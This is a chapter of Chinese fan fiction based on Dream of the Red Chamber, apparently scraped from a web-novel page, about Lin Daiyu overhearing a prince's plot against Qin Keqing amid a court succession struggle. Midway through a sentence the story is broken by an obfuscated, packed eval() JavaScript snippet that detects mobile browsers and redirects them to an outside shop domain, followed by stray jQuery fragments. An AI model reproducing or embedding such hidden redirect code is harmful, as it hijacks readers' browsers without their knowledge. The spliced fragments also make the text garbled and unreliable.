黛玉将一整车江南绫罗锦缎尽数交予凤姐清点入库，凤姐亲热拉着她的手，邀至自己院中烹茶闲话。
黛玉悄悄打量凤姐神色，她面庞丰润舒展，眼底带着几分得意春意，瞧来平日日子过得顺心自在。
可她心中透亮，夫妻情分再好，也改不了内里贪利的本性。
方才廊下赵姨娘母子抱怨克扣月钱及迟发份例，十有八九是凤姐拿府中月例在外放印子钱，此番收账迟滞，才闹出这般口舌是非。
她面上依旧不动声色，温声问候起居，顺势问起贾琏踪迹。
凤姐笑着回话：“乡下田庄送年礼过来，你琏二哥哥出城接应，还要耽搁两日方能回府。他心里时时记挂你，每回南下扬州，张口闭口全是夸赞你与润哥儿，还说日后要把巧姐教养成你这般模样。我先前还笑他痴心妄想，今日一见姑娘气度，倒是我眼界窄了，若巧姐能学得你半分风姿，真是天大的福气。”
这般夸张奉承，黛玉只淡淡一笑。
凤姐素来嘴甜心冷，心口从来两般，她早已看透此人底色，凡事先行一步看透人心，方能从容应对。
闲谈半晌，黛玉起身告辞，凤姐执意亲自相送，黛玉再三拦阻，她便唤贴身大丫鬟平儿护送黛玉回听香院。
黛玉抬眼细看平儿，生得粉面朱唇，身段温婉风流，一身锦缎衣裙华贵得体，言语柔和周到，待人分寸拿捏得恰到好处，极易让人放下防备心生好感。
一路行回梨香院隔壁的听香院，院内静悄悄的，润玉尚未归来。
丫鬟回禀，贾政留他同府中清客相公赴宴，席间闲谈朝堂学问，一时脱不开身。
黛玉心底隐隐担忧，贾府内里腐朽污浊，润玉年纪尚轻，怕被周遭风气带偏，只等弟弟归来，好生同他梳理利弊。
待到暮色沉沉，润玉方才踏入院门。
不等黛玉开口叮嘱，他反倒先扬起笑脸：“姐姐平日里处世道理翻来覆去讲，我耳朵都快听出茧子，分毫不敢忘。荣国府与咱们扬州林家风气全然不同，你总说府中人各怀私心，我心里透亮。古语云知己知彼、百战不殆，今日跟着应酬，便是打探各方虚实。日后贾府若生出风波，我也有应对之法，岂是寻常孩童可比？好歹也是少年解元，跟着二舅见一众世家亲友，纵然眼下派不上用场，也能探听朝堂动向，知晓父亲在扬州的处境。”
黛玉又好气又好笑，鼻尖嗅到淡淡的酒气，摆手道：“先去换一身衣裳，洗净了再说。”
“宴席之上我分毫未沾酒水，我推托周旋费了好大功夫。”润玉嗅嗅自己的衣袖，“到底被他们沾惹了一身酒气。”
润玉转身回内屋，换下外间应酬锦袍，卸下束发玉冠，一头乌发松松垂落，衬得一张圆润小脸愈发白嫩稚气。
黛玉望着他软糯模样，心底不由自主生出几分疼惜，满心想把这单纯幼弟护在羽翼之下。
“府中诸事自有我筹谋，你不必分心掺和，只管静心读书便是。”
润玉微微嘟起嘴，满脸委屈：“先前说好，我已是解元，该学着出门应酬历练，你又这般啰嗦管束。”
黛玉伸手轻轻拧了把他软乎乎的脸颊，润玉霎时面皮涨得通红，偏又奈何不得，只能气鼓鼓端起茶盏闷头饮茶。
新来的紫鹃瞧着姐弟二人这般亲昵打闹，只觉有趣，其余伺候丫鬟早已见惯，各司其职，不曾多分心打量。
“好啦，咱们少年解元今日探听到什么要紧朝堂消息，说来听听？”
润玉微微扬起下巴，故作傲气：“方才还嫌我外出应酬，此刻又追着问询，真没意思。”
黛玉伸出纤细白皙的手作势要拧他，润玉慌忙往后躲闪，高声讨饶：“我招，我全都告诉你！”
心底暗自腹诽，自家姐姐偏爱捏他脸颊，半点温柔模样都无。
润玉遣退所有丫鬟，屋中只剩姐弟二人，方才低声道出今日京都朝堂变局。
北静王水溶已然回京，奉命彻查旧案，缉拿大批涉案官员，尽数打入皇家宗人府天牢。
朝堂上下人心惶惶，流言四起，一说是太子即将被圣上再次废黜，一说是廉亲王等暗中罗织证据构陷太子，两派朝臣互相攻讦，朝堂乱作一团。
而早与太子划清界限故作孤党的忠顺王已暗中与北静王布局好罗网，等着看不清帝王心思的两党乱起，好作那君心难测的帝王最锋利的刀。
听闻此番南下江南取证的北静王却始终缄默不言，分明已是手握定局的关键筹码。
黛玉眉头骤然紧锁：“父亲如今境况如何？”
润玉轻轻叹气：“圣上暂时削去父亲扬州巡盐御史一职，令他居家待旨。二舅说暗中有人暗中保全父亲，他本打算托人递折子为父亲说情，却被衙署主官拦下。如今朝堂局势晦暗不明，不止父亲，大批朝中官员都被圣上勒令闭门休养，尚无明确处置旨意下发。”
黛玉略一思索，心中通透：“我懂了，圣上此举实则是暗中保全一众中立官员，隔绝他们卷入夺嫡大案，免受两派清算牵连。”
润玉年纪尚浅，看不懂深层帝王权衡，黛玉细细拆解其中关节，一番话听完，润玉心头大石落地：“父亲有圣上保全，便是未曾被朝廷猜忌，用不了多久定会官复原职。”
黛玉缓缓颔首，转而忧心贾府安危：“只不知荣、宁二府是否牵扯进这场夺嫡纷争。”
润玉思索片刻回话：“母亲从前书信提及，元春姐姐入忠顺王府为侧妃，贾府因此渐渐与太子疏远，想来应当不会卷入祸事。”
“不过是一厢情愿的念想。”黛玉轻轻摇头，“四王八公世代联姻，盘根错节，几代人与太子利益牢牢捆绑，怎会单单因一名女子便彻底割裂往来？太过天真。”
她细细回想入府以来所见种种，元春的命运轨迹早已偏离前世；往日与贾府往来密切的北静王，如今府中半点不见相交踪迹；宁国府长孙媳秦可卿缠绵病榻，药石难医，实则是心病缠身。
心中暗自盘算，如何在这场惊天夺嫡博弈中保全林家，还能为自家寻一条最优退路。
次日天色微明，黛玉一早备妥车马，去往贾母院中告辞，只托辞送三生大师青华前往白云寺焚香祈福，为碎裂的通灵宝玉做道场消厄。
白云寺与清虚观并称京城两大皇家寺院，一东一西拱卫皇城，一僧一道分掌香火，护佑皇家龙脉与子孙绵延。
车马行至大街，润玉与青华带着随从先行绕道离去，直奔林家设在京城的古玩玉器铺子，铺内各色美玉琳琅满目，二人要寻一块质地通透的整块红玉，比照通灵宝玉原本尺寸雕琢打磨，再以金麒麟熔金镶嵌，造出一块足以以假乱真的新“通灵宝玉”。
黛玉的软轿则慢悠悠驶向白云寺山门。
林家常年供奉青华，素来礼佛诚心。
黛玉头戴素色帷帽，入寺焚香捐施大额香油钱，等候许久不见润玉与青华折返，便带着一众丫鬟出寺院西门。
寺西有京中闻名的大片枫林，初冬寒霜一过，枫叶尽数落尽，满地枯枝叶杈交错，反倒生出几分清冷天然意趣。
枫林深处立着一株数人合抱的古银杏树，木叶早已落光，光秃秃枝桠在寒风中微微颤动。
青九蹲在树下，两只前爪高高抬起，仰头盯着树梢残存几枚白果，口水滴滴答答落在枯叶上，浑然不觉周遭动静。
黛玉瞧他这副馋嘴模样，半点不见平日护法灵狮的威风，上前一把揪住他后颈皮毛，轻声嗔道：“平日里三餐不曾短你，怎么活像从没吃过东西的馋鬼？”
青九身子左右扭动，忽然支起耳朵低吠两声：“汪汪！有人过来了！”
一口咬住黛玉裙摆，躲至粗壮银杏树干后方。
黛玉眉头一蹙，低声自语：“方才捐了香油特意嘱咐寺僧，不许旁人靠近这片枫林，这些和尚怎这般不守信用。”
青九鼻尖灵敏，低声呜呜示警：“味道难闻！”
他嗅觉能辨人心善恶，枫林外走来二人，一身杀伐冷厉之气，骨子里阴寒刺骨，同青华身上地府煞气有几分相似，可青华气质清逸，此人却是纯粹凡人朝堂权贵的冷血威压。
不多时两名男子走入枫林，行至银杏树下再无去路，驻足低声交谈。
年岁稍长的下人垂首躬身，对面立着一位身着月白锦袍的少年王爷。
“查探确凿，那东西当真藏在宁国府内？”少年声线清润如融雪春水，暖意之下藏着刺骨寒凉，听来年纪尚轻。
中年下人恭谨回话，不敢有半分怠慢：“千真万确。小人借探病为名屡次入宁府，有意无意透出风声，秦氏心病一日重过一日。”
“往来传递密信之人也已尽数拿获。呵，二哥倒是藏得这般深，我倒是从前小瞧了他。”
少年语气带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836005|211421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着淡淡嘲讽，“贾府胆子不小，明知秦氏是义忠亲王遗孤，被太子暗中安置贾家，非但不曾记恨太子算计，反倒甘心替太子遮掩，从中牵线搭桥。义忠亲王虽亡，子嗣依旧圈禁，救下他独女，便能收拢旧部残余势力，再加一门两国公鼎力相助，二哥这盘棋下得精妙，只可惜，终究是一步死棋。”
一声轻飘飘的“可惜”落入黛玉耳中，惊得她心头一震，原来二人句句都在谈论贾府秘辛。
“荣府上下对此事满心抵触，奈何秦氏早已嫁入宁府木已成舟，只能忍气吞声。倒是宁国府贾珍，实打实的情种，为护这位儿媳，甘愿举族押上太子一党。”中年下人语气带着几分嗤笑，“可到如今关头，贾珍反倒不如秦氏通透。秦氏日日惊惧难安，病根全在心头。”
少年淡淡吩咐：“传信告知贾珍，太子已然打算舍弃秦氏自保，看他如何抉择。”
中年下人迟疑片刻：“如此一来，秦氏怕是活不成了。”
“你方才不是说他是痴情之人？”
黛玉屏息凝神听得入神，不曾留意树干爬来一只毒虫，猛地一口咬在青九尾巴上。青九吃痛，猝不及防低吠一声。
“谁在树后？”
金属出鞘的铮鸣骤然响起，凛冽剑气直逼藏身之处。
黛玉来不及思量，猛地从树后踏出，不等对方看清容貌，直直屈膝跪倒在地，高声道：“民女有法子劝秦氏出面告发太子！”
她始终垂首不敢抬眼，颈间森寒剑气逼人肌肤，青九龇牙低吼，却半步不敢上前。青九虽有护法神通，此番转世下凡，大半修为耗散在前次江上风波，眼前少年身负皇家真龙命格，若是贸然冲撞，日后要坠入轮回千万世偿还业债，万万不能妄动。
“民女乃是荣国府外孙女林黛玉，无意窃听王爷密谈，还望王爷恕罪。”
黛玉心中飞速理清全盘纠葛：早年义忠亲王与太子争夺储位落败，全府圈禁王府，太子被废时，皇上更是将亲王与嫡长子锁拿入狱问罪，不久义忠亲王与嫡长子便重病离世。
早年，义忠亲王全府被圈禁之前，一名侥幸逃脱王府身怀有孕的丫鬟流落在外，生下一名孤女，那便是秦可卿。
太子暗中将她救出，寄养育婴堂，后托付秦家收养，长成后特意安排嫁入宁国府贾蓉为妻。
太子借这份救命之恩收拢义忠亲王旧部，又以秦可卿为纽带，拉拢本已渐渐疏远太子的贾府，宁国府贾珍更是对秦可卿百般宠溺，甘愿押上全族身家追随太子。
如今太子与廉亲王人等夺嫡争斗白热化，太子诸多谋逆把柄露出水面，被一向视为太子嫡党的北静王送入圣上案前，储君之位岌岌可危。
秦可卿早已看透自身绝境，留在贾府，待太子失势必会被贾家舍弃灭口；若是贾府一条路走到黑追随太子，全府上下都要随她一同覆灭。
她自幼被太子当作棋子培养，心思敏锐通透，政治眼光远胜沉溺私情的贾珍，日日活在生死惊惧之中，缠绵病榻。
眼前这位少年王爷，分明是太子的敌对皇子，本打算传话贾珍，令他主动舍弃秦氏，届时秦可卿无路可走，唯有天香楼自缢一途。
可黛玉瞬间想出两全之策。
若是秦可卿反戈一击，亲自出面递折告发太子谋逆，便是圣上扳倒太子名正言顺的关键凭据。
义忠亲王遗孤出面举证，分量无人能轻忽；与此同时，贾府可借秦氏揭发太子一事，当众与太子割裂撇清干系，洗脱附逆罪名。
圣上本就忌惮四王八公军功世家深度卷入皇子夺嫡，巴不得借机拆分太子党羽；廉亲王人等王亦不愿与根基深厚手握军功旧部的贾府死斗，能顺势拉拢再好不过。
若是放任事态发展，圣上查清贾府多年依附太子的实证，贾府最终只会落得抄家流放或全族覆灭的下场。
趁此刻主动划清界限，牺牲些许利益，尚能为贾家留存一线生机。
往日贾府兴衰黛玉本无心插手，可眼下性命握在对方手中，唯有拿出可用筹谋，让这位王爷知晓自己立场，方能自保脱身。
她垂首放缓语调，将其中利弊条理分明缓缓道出：“民女愿亲自入宁府游说秦氏，劝她递折御状，揭发太子谋逆诸事。”
半晌不闻少年回应，视线里只看得见一双粉底云纹朝靴，以及下摆淡青兰花暗纹锦袍。
“你不喜欢兰花吗？”